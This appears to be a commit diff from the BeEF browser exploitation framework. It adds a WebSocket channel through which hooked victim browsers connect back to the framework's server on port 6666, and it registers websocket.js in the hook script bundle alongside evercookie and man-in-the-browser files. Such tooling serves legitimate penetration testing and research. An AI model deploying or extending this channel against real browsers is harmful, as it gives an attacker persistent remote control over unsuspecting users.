Added websocket.js in beefjs.rb
This commit is contained in:
@@ -22,8 +22,10 @@ beef.websocket = {
|
||||
/*websocket send Helo to beef server and start async communication*/
|
||||
start:function(){
|
||||
console.log("started ws \n")
|
||||
|
||||
/*server is always on ws.beefServer:6666*/
|
||||
var webSocketServer=beef.net.host; /*beefHost*/
|
||||
console.log(webSocketServer);
|
||||
var webSocketPort=6666;
|
||||
if(beef.browser.getBrowserName=="FF")
|
||||
this.socket = new MozWebSocket("ws://"+webSocketServer+":"+webSocketPort+"/");
|
||||
|
||||
@@ -29,7 +29,8 @@ module Modules
|
||||
beefjs = ''
|
||||
# @note location of sub files
|
||||
beefjs_path = "#{$root_dir}/core/main/client/"
|
||||
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js)
|
||||
#@todo radoen insert ceck for websocket require in config.yalm
|
||||
js_sub_files = %w(lib/jquery-1.5.2.min.js lib/evercookie.js lib/json2.js beef.js browser.js browser/cookie.js browser/popup.js session.js os.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js websocket.js)
|
||||
|
||||
# @note construct the beefjs string from file(s)
|
||||
js_sub_files.each {|js_sub_file_name|
|
||||
|
||||
@@ -26,29 +26,29 @@ module BeEF
|
||||
#todo antisnatchor: start websocket secure if beef.http.websocket.secure == true
|
||||
server = WebSocketServer.new :accepted_domains => "0.0.0.0",
|
||||
:port => config.get("beef.http.websocket.port")
|
||||
websThread = Thread.new {
|
||||
server.run() do |ws|
|
||||
#@TODO debug print the path and who request for hooked browser mapping
|
||||
print_info("Path requested #{ws.path} Origins #{ws.origin}")
|
||||
if ws.path == "/"
|
||||
ws.handshake() #accept and connect
|
||||
websThread = Thread.new {
|
||||
server.run() do |ws|
|
||||
#@TODO debug print the path and who request for hooked browser mapping
|
||||
print_info("Path requested #{ws.path} Origins #{ws.origin}")
|
||||
if ws.path == "/"
|
||||
ws.handshake() #accept and connect
|
||||
|
||||
while true
|
||||
#command interpretation
|
||||
message=ws.receve()
|
||||
while true
|
||||
#command interpretation
|
||||
message=ws.receve()
|
||||
|
||||
if (message!="helo")
|
||||
#module return value case
|
||||
else
|
||||
print_info("Browser #{ws.origin} says helo! ws is running")
|
||||
end
|
||||
|
||||
if (message!="helo")
|
||||
#module return value case
|
||||
else
|
||||
print_info("Browser #{ws.origin} says helo! ws is running")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
}
|
||||
}
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user